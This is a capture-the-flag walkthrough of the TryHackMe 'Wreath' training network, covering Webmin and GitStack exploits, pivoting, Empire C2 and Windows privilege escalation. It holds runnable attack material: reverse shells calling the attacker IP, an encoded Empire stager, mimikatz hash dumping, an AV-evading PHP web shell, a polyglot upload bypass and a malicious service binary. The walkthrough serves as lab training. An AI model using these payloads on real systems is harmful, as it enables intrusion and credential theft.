“There are two machines on my home network that host projects and stuff I’m working on in my own time – one of them has a webserver that’s port forwarded, so that’s your way in if you can find a vulnerability! It’s serving a website that’s pushed to my git server from my own PC for version control, then cloned to the public facing server. See if you can get into these! My own PC is also on that network, but I doubt you’ll be able to get into that as it has protections turned on, doesn’t run anything vulnerable, and can’t be accessed by the public-facing section of the network. Well, I say PC – it’s technically a repurposed server because I had a spare license lying around, but same difference.”
Wreath is designed as a learning resource for beginners with a primary focus on:
- Pivoting
- Working with the Empire C2 (Command and Control) framework
- Simple Anti-Virus evasion techniques
The following topics will also be covered, albeit more briefly:
- Code Analysis (Python and PHP)
- Locating and modifying public exploits
- Simple webapp enumeration and exploitation
- Git Repository Analysis
- Simple Windows Post-Exploitation techniques
- CLI Firewall Administration (CentOS and Windows)
- Cross-Compilation techniques
- Coding wrapper programs
- Simple exfiltration techniques
- Formatting a pentest report
Enumeration
First, we start by running a port scan on the first target (in this case, the IP of the first target is 10.200.85.200
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
rustscan -a 10.200.85.200 -- -sC -sV -oN port_scan_first
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.0 (protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
|_http-title: Did not follow redirect to https://thomaswreath.thm
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
443/tcp open ssl/http syn-ack Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
|_http-title: Thomas Wreath | Developer
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
10000/tcp open http syn-ack MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-favicon: Unknown favicon MD5: 5C71CDE08233C2F1442C320964580480
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
The nmap output shows us that the target machine exposes four ports:
- Port 22: OpenSSH 8.0
- Port 80: Apache 2.4.37 (centos) - which redirects to
https://thomaswreath.thm
. We gotta add this to our/etc/hosts
file. - Port 443: Apache 2.3.37 (centos) - presumably the destination of the redirect
- Port 10000: MiniServ 1.890 (Webmin)
Web Exploitation
It appears, that MiniServ 1.890 Webmin
is vulnerable to CVE-2019-15107
. A fully detailed technical report can be found here
An attacker can send a malicious http request to the password reset request form page to inject code and take over the webmin web application. According to the vulnerability writeup, an attacker does not need a valid username or password in order to exploit this flaw. https://de.tenable.com/blog/cve-2019-15107-exploit-modules-available-for-remote-code-execution-vulnerability-in-webmin
First, let’s try to reproduce the RCE manually by intercepting a request to the webmin endpoint and changing the request method to POST
. Then, we add the parameters as described in the article. Further, we include a command in the expired
parameter. Here the command is id
. The following screenshot shows that the server really executes our command. This means we have RCE!
The next step is to establish a reverse shell. As seen in the server response, the server is apparently using Perl
. This means, that Perl
is definitely installed on the target system, thus we can use perl code to create the reverse shell. Herefor, I use the default perl reverse shell of pentestmonkey and just replace the IP and the listening port.
Once executed, we have a fully interactive reverse shell:
Post Exploitation
Looking through the system, we can obtain some interesting information.
The /etc/shadow
file contains two password hashes that might be crackable. This would give us access to plaintext passwords from which we could derive some patterns or we could re-use them somewhere else.
1
2
root:$6$i9vT8tk3SoXXxK2P$HDIAwho9FOdd4QCecIJKwAwwh8Hwl.BdsbMOUAd3X/chSCvrmpfy.5lrLgnRVNq6/6g0PxK9VqSdy47/qKXad1::0:99999:7:::
twreath:$6$0my5n311RD7EiK3J$zVFV3WAPCm/dBxzz0a7uDwbQenLohKiunjlDonkqx1huhjmFYZe0RmCPsHmW3OnWYwf8RWPdXAdbtYpkJCReg.::0:99999:7:::
Further, in root’s home directory there is a .ssh
directory containing the private key
of root. This can be used to authenticate ourselves as root when connecting to the machine via ssh. This way, we have consistent access to the system.
Pivoting
First, we transfer a static nmap binary to the target machine to scan the internal network. Doing so, we discover that there are two hosts up - 10.200.85.100
and 10.200.85.150
. Investigating these machines further, shows that machine 10.200.85.150
has three open ports:
- Port 80: http
- Port 3389: ms-wbt-server
- Port 5985: wsman
Next, we use sshuttle
to pivot to the target network/next target machine.
1
sshuttle -r root@10.200.85.200 --ssh-cmd "ssh -i root_webserver_key" 10.200.85.0/24
Now we can access the network directly as if we were using a VPN.
Git Server
Exploitation
Accessing the port 80 of machine 10.200.85.150
via the browser, we are prompted with a GitStack
login.
The login form also gives us the default credentials that should be used to login. However, using these credentials leads to no successful login. So let’s enumerate further. Maybe the used software has some known vulnerabilities. Searching for gitstack
with searchsploit
, reveals 3 Remote Code Execution
exploit entries. As it turns out, all of them target the same vulnerability. So we have a few options now. Either we read the markdown description and try to exploit it manually or we use one of the 2 existing scripts (python or ruby). For the sake of this writeup, I will keep it simple and just use the available python script. However, for anyone that’s interested in how the software is being exploited, the python code pretty much explains it step by step. First, Gitstack allows us to remotely manage and configure the repositories i.e. create users, repositories, add/remove users from repositories etc. Further, the GitStack version 2.3.10 contains an RCE vulnerability as the $_SERVER['PHP_AUTH_PW']
is being forwarded to an exec
call without any input sanitization. This means, we can simply include our code in the password of the HTTPBasicAuth
HTTP header.
Here is the output of the available python script, which creates a backdoor at /web/exploit-babbadeckl.php
. This backdoor takes a POST parameter a
which is used as input parameter for the system()
function:
Pivoting
To establish a reverse shell, it requires to do some extra steps. First, we have to upload a static socat
binary to the .200
machine. Next, we have to open a port of our choice (in this case 15420
). For that, we use the command:
1
firewall-cmd --zone=public --add-port 15420/tcp
Then, we set up a socat relay
:
1
./socat tcp-l:15420,reuseaddr tcp:10.50.86.148:4444
This will forward all incoming requests on port 15420 to our attacker machine on port 4444.
Finally, we include a powershell reverse shell in our RCE, that will set up a connection to the .200
machine on port 15420
. This connection will then be forwarded by the socat relay to our local attacker machine.
There we go! Now we have access to the git-server as nt authority\system
!
Post Exploitation & Persistence
Creating an RDP access
As we are NT AUTHORITY\SYSTEM
, we can simply create a new user and add this user to the group Administrators
as well as to the group Remote Management Users
. This will allow us to persistently access the system with our newly created user via RDP.
This can be achieved with the following commands:
1
2
3
4
5
6
7
8
#this adds our new user babbadeckl with the password 123456
net user babbadeckl 123456 /add
#this adds our new user babbadeckl to the group Administrators
net localgroup Administrators babbadeckl /add
#this adds our new user babbadeckl to the group Remote Management Users
net localgroup "Remote Management Users" babbadeckl /add
Now, we can use any RDP client to connect to the git-serv machine. In this case, we used xfreerdp
as it comes pre-installed with Kali.
1
xfreerdp /v:10.200.85.150 /u:babbadeckl /p:123456 +clipboard /dynamic-resolution
Obtaining the Administrator NTLM Hash
Transferring mimikatz
to the machine, gives us the ability to leak password hashes from SAM. We just have to start mimikatz and run the following commands:
1
2
3
4
5
6
7
8
# check if we have sufficient permissions
privilege::debug
# elevate privileges to nt authority\system
token::elevate
# dump hashes
lsadump::sam
This gives us the administrator NTLM hash: 37db630168e5f82aafa8461e05c6bbd1
. Further, there is another NTLM hash 02d90eda8f6b6b06c32d5f207831101f
for the user Thomas
.
Let’s try to crack both of them using hashcat
.
Let’s start with the Administrator
’s hash
1
hashcat -m 1000 "37db630168e5f82aafa8461e05c6bbd1" /usr/share/wordlists/rockyou.txt
No results…. Next, the hash of Thomas.
1
2
3
hashcat -m 1000 "02d90eda8f6b6b06c32d5f207831101f" /usr/share/wordlists/rockyou.txt
02d90eda8f6b6b06c32d5f207831101f:i<3ruby
Great! We now have the credentials: Thomas:i<3ruby
.
Command and Control
Empire Powershell - a quick Overview
For further investigations, we will set up an Empire Powershell C&C. Therefore, we first start the server on our local attacker machine with the following command:
1
sudo powershell-empire server
Once it’s running, we can start the client, which will then automatically connect itself to the server.
1
sudo powershell-empire client
Next step is to set up a listener
. We can do that by running the following command within the Powershell-Empire client
:
1
2
3
4
5
6
7
uselistener http
set Name CLIHTTP
set Host 10.50.86.148 (our own IP)
set Port 8000
execute
Then, we have to create the stager. This is basically the code that has to be executed on the target machine in order to connect back to us.
1
2
3
4
usestager multi/bash
set Listener CLIHTTP
execute
This will output some payload, which has to be executed on the target machine.
1
2
3
4
#!/bin/bash
echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCm91dCwgZXJyID0gcHMuY29tbXVuaWNhdGUoKQppZiByZS5zZWFyY2goIkxpdHRsZSBTbml0Y2giLCBvdXQuZGVjb2RlKCdVVEYtOCcpKToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliLnJlcXVlc3Q7ClVBPSdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0OyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbyc7c2VydmVyPSdodHRwOi8vMTAuNTAuODYuMTQ4OjgwMDAnO3Q9Jy9uZXdzLnBocCc7cmVxPXVybGxpYi5yZXF1ZXN0LlJlcXVlc3Qoc2VydmVyK3QpOwpwcm94eSA9IHVybGxpYi5yZXF1ZXN0LlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliLnJlcXVlc3QuYnVpbGRfb3BlbmVyKHByb3h5KTsKby5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKSwgKCJDb29raWUiLCAic2Vzc2lvbj1vQndoL1p4TUQ3M3p6NGw2bUtFQlR0ZzJ2YzA9IildOwp1cmxsaWIucmVxdWVzdC5pbnN0YWxsX29wZW5lcihvKTsKYT11cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSkucmVhZCgpOwpJVj1hWzA6NF07ZGF0YT1hWzQ6XTtrZXk9SVYrJyZsMHtrK1hqfFoyYUIqUHYvQExbc0spN1RpPTQ8XU5vJy5lbmNvZGUoJ1VURi04Jyk7UyxqLG91dD1saXN0KHJhbmdlKDI1NikpLDAsW10KZm9yIGkgaW4gbGlzdChyYW5nZSgyNTYpKToKICAgIGo9KGorU1tpXStrZXlbaSVsZW4oa2V5KV0pJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQppPWo9MApmb3IgY2hhciBpbiBkYXRhOgogICAgaT0oaSsxKSUyNTYKICAgIGo9KGorU1tpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCiAgICBvdXQuYXBwZW5kKGNocihjaGFyXlNbKFNbaV0rU1tqXSklMjU2XSkpCmV4ZWMoJycuam9pbihvdXQpKQ=='));" | python3 &
rm -f "$0"
exit
Once executed, a new Agent
will be created which we can now use to interact with the machine:
E.g. we can now execute commands through the agent.
Empire Powershell - Connect to Git-Server
The problem hereby is that we cannot receive connections from our main target - the git server. Therefore, we have to use something called hop_listener
Hop Listeners create what looks like a regular listener in our list of listeners (like the http listener we used before); however, rather than opening a port to receive a connection, hop listeners create files to be copied across to the compromised “jump” server and served from there. These files contain instructions to connect back to a normal (usually HTTP) listener on our attacking machine. As such, the hop listener in the listeners menu can be thought of as more of a placeholder – a reference to be used when generating stagers. https://tryhackme.com/room/wreath
Let’s set it up in the Empire Client:
When executing the listener, Empire creates the necessary files, which have to be uploaded to the Host machine, in the /tmp/http_hop
directory. The files are the following:
Next, we have to do two things:
- We must generate an appropriate stager for the target
- We must put the http_hop files into position on
.200
, and start a webserver to serve the files on the port we selected during the listener creation. This server must be able to execute PHP, so a PHP Debug server is ideal
Stager
For the stager we use multi/launcher
. Then, we set the Listener
to our previously configured hop listener called http_hop
. Finally, we run execute
and receive the stager payload:
We will use this code in a second.
HTTP_HOP Server
As seen before, the http_hop
listener provided us with some files that we now have to transfer to the .200
server, which will function as our hop server. For that, we simply take all the content of the /tmp/http_hop
directory on our local machine and put it in any directory on the .200
machine.
Next, we have to start an HTTP server. As php
is pre-installed on the target, we will use the php -S
command to start the PHP Web server which hosts our http_hop files. Keep in mind that the port has to match the port which was defined in the Empire Listener.
1
php -S 0.0.0.0:15421 &
Also, make sure to open the port in the firewall:
1
firewall-cmd --zone=public --add-port 15421/tcp
Exploitation
Now that we have everything set up, we again utilize the Gitstack
vulnerability to run our stager payload. For that, we can simple change the command
variable in the 43777.py
script.
On execution, the powershell stager payload contacts our jump server (.200
), which will then forward the connection to the Empire Listener, thus creating an agent for us.
Here’s what’s happening on the hop_server .200
:
Access logs of the PHP server running on .200
And here we have our Empire Agent
:
We can now use that Agent to interact with the gitserver machine. Powershell Empire also provides many pre-installed modules that help us with enumeration/privesc/pivoting etc. An example can be seen here, in which we used the sherlock
module to find common vulnerabilities for privilege escalation:
Further, we can also just use the shell
command to elevate our empire agent to a fully interactive shell:
Personal PC
Enumeration
First, let’s do some basic enumeration of the current system. Running the systeminfo
command, we obtain some useful information e.g. we now know that we are dealing with a Microsoft Windows Server 2019 Standard
machine (x64
). This will help us to choose the correct tools for the next enumeration steps.
Our new target is the 10.200.85.100
machine (probably the personal computer of Thomas
). As we have powershell access to the machine, we can also use fancy powershell scripts such as Invoke-Portscan.ps1
. Let’s use it and see which ports can be accessed.
Great. So the target machine is reachable and has two open ports:
- Port 80 - Probably some kind of web application
- Port 3389 - Probably RDP (maybe we can use the previously found credentials to log in)
Pivoting
As we’ve previously been using sshuttle
to establish the proxy-connections, we can now simply use chisel
to set up another connection which gives us access to the web server on the machine 10.200.85.100
.
For that, we first have to open another port in the firewall (on the git-server windows machine)
1
netsh advfirewall firewall add rule name="Chisel-Babbadeckl" dir=in action=allow protocol=tcp localport=15422
Afterwards, we run the following command on the git-server
machine:
1
.\chisel-babbadeckl.exe server -p 15422 -socks5
The chisel binary has been transferred to the machine using the shared device option of xfreerdp
. Alternatively, one could have also used winRM
’s upload functionality.
Finally, on our local attacker machine, we run:
1
chisel client 10.200.85.150:15422 9090:socks
This will establish the connection to the chisel server. The communication is done via the 9090
socks proxy.
In order to access the website on 10.200.85.100
, we now simply have to configure FoxyProxy
in our browser to use the established socks5 proxy.
If everything works correctly, we can now access the website on 10.200.85.100
on our attacker machine!
Git Files
The website itself appears to be an exact copy of the website running on the 10.200.85.200
server. To discover any differences, we would have to do some fuzzing which is very tedious through two proxies.
So we need another idea. The hint on the Wreath task description summarizes the attack vector pretty well:
“We know from the brief that Thomas has been using git server to version control his projects – just because the version on the webserver isn’t up to date, doesn’t mean that he hasn’t been committing to the repo more regularly! In other words, rather than fuzzing the server, we might be able to just download the source code for the site and review it locally. Ideally we could just clone the repo directly from the server. This would likely require credentials, which we would need to find. Alternatively, given we already have local admin access to the git server, we could just download the repository from the hard disk and re-assemble it locally which does not require any (further) authentication.” (https://tryhackme.com/room/wreath)
So let’s do that. We use the evil-rm
login (pass the hash) and search for git files.
1
evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 10.200.85.150
In the directory C:\GitStack\repositories
we find a file called Website.git
. That sounds very promising. So let’s download that file and proceed with the investigation locally. (Note: for the download, the absolute path has to be specified)
Once downloaded (takes roughly 5 mins), we can analyse the downloaded repository. First, we rename the subdirectory to .git
. Then, we run the command git log
, to see all previous commits:
Here we see that there are indeed several commits. Let’s use GitTools
to extract some files:
1
2
3
drwxr-xr-x 7 kali kali 4096 Jun 6 09:08 0-345ac8b236064b431fa43f53d91c98c4834ef8f3
drwxr-xr-x 6 kali kali 4096 Jun 6 09:08 1-70dde80cc19ec76704567996738894828f4ee895
drwxr-xr-x 7 kali kali 4096 Jun 6 09:08 2-82dfc97bec0d7582d485d9031c09abcb5c6b18f2
Code Analysis
Looking through those commits, we find a index.php
file located in resources
.
This file looks like some kind of gallery/file upload. It also contains several Todos:
1
2
3
4
5
6
<!-- ToDo:
- Finish the styling: it looks awful
- Get Ruby more food. Greedy animal is going through it too fast
- Upgrade the filter on this page. Can't rely on basic auth for everything
- Phone Mrs Walker about the neighbourhood watch meetings
-->
Especially the 3rd bullet is interesting. This tells us that this page might be protected by basic auth.
The rest of the code is responsible for the file upload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
if(isset($_POST["upload"]) && is_uploaded_file($_FILES["file"]["tmp_name"])){
$target = "uploads/".basename($_FILES["file"]["name"]);
$goodExts = ["jpg", "jpeg", "png", "gif"];
if(file_exists($target)){
header("location: ./?msg=Exists");
die();
}
$size = getimagesize($_FILES["file"]["tmp_name"]);
if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size){
header("location: ./?msg=Fail");
die();
}
move_uploaded_file($_FILES["file"]["tmp_name"], $target);
header("location: ./?msg=Success");
die();
} else if ($_SERVER["REQUEST_METHOD"] == "post"){
header("location: ./?msg=Method");
}
if(isset($_GET["msg"])){
$msg = $_GET["msg"];
switch ($msg) {
case "Success":
$res = "File uploaded successfully!";
break;
case "Fail":
$res = "Invalid File Type";
break;
case "Exists":
$res = "File already exists";
break;
case "Method":
$res = "No file send";
break;
}
}
?>
In line 4, the allowed extensions are defined. Apparently, we are only able to upload jpg,jpeg,png and gif
files. The crucial part of this file upload is in line 10. Here, it is checked whether the uploaded filename actually is one of the defined allowed extensions. This is done using the explode()
function. The explode()
function separates the string at the specified separator (in this case it’s a dot .
). This means that e.g. the filename test.jpg
will be converted to an array: [“test”,”jpg”]. Next, the element at index 1 is compared to the allowed extensions. This is obviously vulnerable, as it assumes, that the uploaded file ALWAYS has EXACTLY ONE file extension. But what happens if we rename the file to test.jpg.php
. Then, the file-name is still allowed because it has the extension .jpg
at index 1. This way, we can upload php
files!
So now that we know that we can exploit the file upload, let’s try to access it!
Exploiting the File Upload
One of the Todos hinted towards an existing HTTP Basic Auth mechanism that protects the upload functionality located at 10.200.85.100/resources/index.php
. And indeed! If we try to access this website, we are prompted with a login form. However, we are in posession of Thomas’ credentials! Let’s use them and see if it works:
There we go! We got access to the image upload! Now let’s exploit it.
First, let’s create a valid .png
file:
1
2
┌──(kali㉿kali)-[~/THM/rooms/wreath]
└─$ convert -size 100x100 xc:#000000 test.png
Next, we append valid PHP code to the raw png file:
1
2
3
4
<89>PNG^M
^Z
^@^@^@^MIHDR^@^@^@d^@^@^@d^A^@^@^@^@X<99>¨ù^@^@^@^DgAMA^@^@±<8f>^Küa^E^@^@^@ cHRM^@^@z&^@^@<80><84>^@^@ú^@^@^@<80>è^@^@u0^@^@ê`^@^@:<98>^@^@^Wp<9c>ºQ<^@^@^@^BbKGD^@^AÝ<8a>^S¤^@^@^@^GtIME^Gæ^F^F^N^O^A\ãù^P^@^@^@^TIDAT8Ëc`^X^E£`^T<8c><82>Q@O^@^@^Ex^@^A)q¹ü^@^@^@%tEXtdate:create^@2022-06-06T14:15:01+00:000çYU^@^@^@%tEXtdate:modify^@2022-06-06T14:15:01+00:00Aºáé^@^@^@^@IEND®B`<82>
<?php echo "<pre>WORKS!!!</pre>"; die();?>
Finally, we rename the file to test.png.php
and upload it.
When we access it via http://10.200.85.100/resources/uploads/test.png.php
, we see that the injected code was executed!
We can now try to include the code system('whoami')
and see if it works. Looking at the response, we can indeed confirm that we can execute code!
Next, we can include PHP code that takes a GET parameter as input for the system() function. This way we can get a decent web shell.
1
2
3
<?
php echo "<pre>" . system($_GET['cmd']) . "</pre>";
?>
Upload it again and access it while also appending the parameter ?cmd=whoami
. Huh …. we do not get any output. Let’s try other commands such as ipconfig
…. Nothing works. Maybe the file was detected by an AV.
AV Evasion
The assumption at the moment is that some kind of AV (presumably Windows Defender) detects our uploaded web shell and deletes it/prevents the execution of it. Luckily, many AVs can be bypassed by either modifying the source code directly or by obfuscating the source code, such that it does not follow a known pattern. Here, we used the online PHP obfuscator at https://www.gaijin.at/en/tools/php-obfuscator.
We provided the source code:
1
2
3
4
5
6
7
<?php
$cmd=$_GET['cmd'];
if(isset($cmd)){
echo "<pre>" . shell_exec($cmd) . "</pre>";
}
die();
?>
And got the following obfuscated source code as a result:
1
<?php $e0=$_GET['cmd'];if(isset($e0)){echo "<pre>".shell_exec($e0)."</pre>";}die();?>
Next, we change the .png.php
file to include the newly generated obfuscated PHP code. Then, we upload the file once again and try to access it while providing the GET parameter cmd=whoami /all
. It works! We got our web shell!
Foothold
Now that we can execute code, let’s establish a reverse shell. The easiest method is to upload a nc
binary and use it to connect back to our machine while executing cmd.exe
. Therefore, we start an HTTP server hosting the nc64.exe
binary. Then, we use the following command to download the binary from our local attacker machine to the target machine .100
1
http://10.200.85.100/resources/uploads/test6.png.php?cmd=curl%20http://10.50.86.148/nc64.exe%20-o%20c:\\windows\\temp\\nc-babbadeckl.exe
Afterwards, we set up a nc listener
on the local attack machine and finally we change the cmd
parameter to the following:
1
powershell.exe c:\\windows\\temp\\nc-babbadecjk.exe 10.50.86.148 443 -e cmd.exe
This results in an established reverse shell:
Privilege Escalation
Now that we have access to the machine, let’s do some enumeration. One of the most frequent attack vectors for privilege escalation on Microsoft Windows machines is related to wrongly configured services. So let’s investigate the existing services on the machine using the following command:
1
wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
In the output, we can immediately spot the vulnerability: an unquoted service path
.
Let’s get some more information about the service:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\xampp\htdocs\resources\uploads>sc qc SystemExplorerHelpService
sc qc SystemExplorerHelpService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: SystemExplorerHelpService
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\System Explorer\System Explorer\service\SystemExplorerService64.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Explorer Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem <------
Bingo! Started by LocalSystem! Now we only have to check if any of the provided directories is writeable!
1
powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
Here, we see the user BUILTIN\User
i.e. so basically any existing user on the system has FullControl
(including write-permissions) of the directory C:\Program Files (x86)\System Explorer
. That’s perfect for us!
Now, we simply have to craft a binary that executes a reverse shell for us. For that, we use the programming language C#
and do the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
using System;
using System.Diagnostics;
namespace Wrapper{
class Program{
static void Main(){
Process proc = new Process();
ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc-babbadeckl.exe", "10.50.86.148 443 -e cmd.exe");
procInfo.CreateNoWindow = true;
proc.StartInfo = procInfo;
proc.Start();
}
}
}
This program basically stars a new nc
connection to our attacker machine on port 443
. As the service is run by LocalSystem
, the reverse shell will also have system privileges.
Next, we compile the program using mcs
. This will create a file named Wrapper.exe
.
1
mcs Wrapper.cs
Then, we download the Wrapper.exe
binary from our attacker machine to the .100
machine. This can be either done via the established reverse shell or via the still existing web shell. Note, that the storage directory is C:\Program Files (x86)\System Explorer\System.exe
, as we’ve identified this directory to be writeable.
1
http://10.200.85.100/resources/uploads/test6.png.php?cmd=curl%20http://10.50.86.148/Wrapper.exe%20-o%20%22c:\\Program%20Files%20(x86)\\System%20Explorer\\System.exe%22
Finally, using our reverse shell, we stop and restart the target service. This will execute our malicious payload which ultimately gives us system access to the .100
machine.
Exfiltration
The final step is to exfiltrate sensitive data from the machine. In this case, we wanted to obtain evidence that we rooted the target machine. Therefore, we dumped the SAM and SYSTEM files, which contain user hashes. Then, we transfer those two files to our local attacker machine using a running SMB server on the attacker machine.
The very last step is to use Impacket's secretsdump.py
to recover the user hashes from the two files. Now that we are in posession of the Administrator hash for the .100
machine, we have a decent proof of rooting the machine.